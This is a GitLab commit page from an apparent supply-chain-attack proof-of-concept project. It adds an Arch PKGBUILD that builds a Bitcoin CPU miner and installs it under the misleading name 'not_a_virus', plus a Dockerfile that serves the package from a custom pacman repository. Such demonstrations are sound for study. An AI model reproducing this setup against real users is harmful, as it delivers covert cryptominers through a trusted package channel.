Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
P
PLV2_supply_chain_poc
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Wiki
Code
Merge requests
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Build
Pipelines
Jobs
Pipeline schedules
Artifacts
Deploy
Releases
Package registry
Model registry
Operate
Environments
Terraform modules
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
Community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
Dominik Heinrich
PLV2_supply_chain_poc
Commits
4d424055
Commit
4d424055
authored
3 weeks ago
by
Thomas Schauer-Köckeis
Browse files
Options
Downloads
Patches
Plain Diff
Added adding package
parent
8ac9c23e
No related branches found
Branches containing commit
No related tags found
No related merge requests found
Changes
2
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
files/PKGBUILD
+33
-0
33 additions, 0 deletions
files/PKGBUILD
web.Dockerfile
+16
-9
16 additions, 9 deletions
web.Dockerfile
with
49 additions
and
9 deletions
files/PKGBUILD
0 → 100644
+
33
−
0
View file @
4d424055
# Maintainer: NSA <nsa [at] nsa [dot] nsa>
_build_platforms
=
"x86_64-efi"
pkgname
=
"btc_miner"
pkgver
=
1.0.0
pkgrel
=
1
pkgdesc
=
"Not a virus ~ Maleware Expert"
arch
=(
'x86_64'
)
license
=(
'GPL3'
'CC0'
)
makedepends
=(
'rust'
)
provides
=(
"
${
pkgname
}
"
)
source
=(
'btc_miner::git+https://github.com/jrawsthorne/rust-bitcoin-cpu-miner.git'
)
sha256sums
=(
'SKIP'
)
prepare
()
{
cd
"
$srcdir
/
$pkgname
"
}
pkgver
()
{
cd
"
$srcdir
/
$pkgname
"
echo
1.0.0
}
build
()
{
cd
"
$srcdir
/
$pkgname
"
cargo build
--release
}
package
()
{
cd
"
$srcdir
/
$pkgname
"
mkdir
-p
"
$pkgdir
"
/usr/bin/
install
-Dm755
"target/release/rust-bitcoin-cpu-miner"
"
$pkgdir
/usr/bin/not_a_virus"
}
This diff is collapsed.
Click to expand it.
web.Dockerfile
+
16
−
9
View file @
4d424055
#FROM rust:latest
#
#COPY ./btc_miner ./btc_miner
#WORKDIR ./btc_miner
FROM
archlinux:latest
as
packager
FROM
archlinux:latest
AS
packager
RUN
pacman-key
--init
RUN
tar
czt
RUN
repo-add ./files/customrepo.db.tar.gz ./files/
*
.pkg.tar.zst
RUN
pacman
-Sy
--noconfirm
base-devel git
RUN
mkdir
/build
RUN
useradd
-m
builder
&&
chown
-R
builder:builder /build
RUN
echo
"builder ALL=(ALL:ALL) NOPASSWD: ALL"
>>
/etc/sudoers
USER
builder
COPY
./files/ /build/
WORKDIR
/build
RUN
makepkg
-s
--noconfirm
USER
root
RUN
mkdir
-p
/repo
RUN
mv
*
.pkg.tar.zst /repo/
RUN
repo-add /repo/customrepo.db.tar.gz /repo/
*
.pkg.tar.zst
FROM
nginx:mainline-alpine-slim
...
...
@@ -15,7 +22,7 @@ RUN apk update && apk upgrade
# copy files
WORKDIR
/home/webserver
COPY
./nginx.conf /etc/nginx/
COPY
--from=packager /
files/customrepo.db.tar.gz
/home/webserver/repo
COPY
--from=packager /
repo
/home/webserver/repo
# expose and run
EXPOSE
8080
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment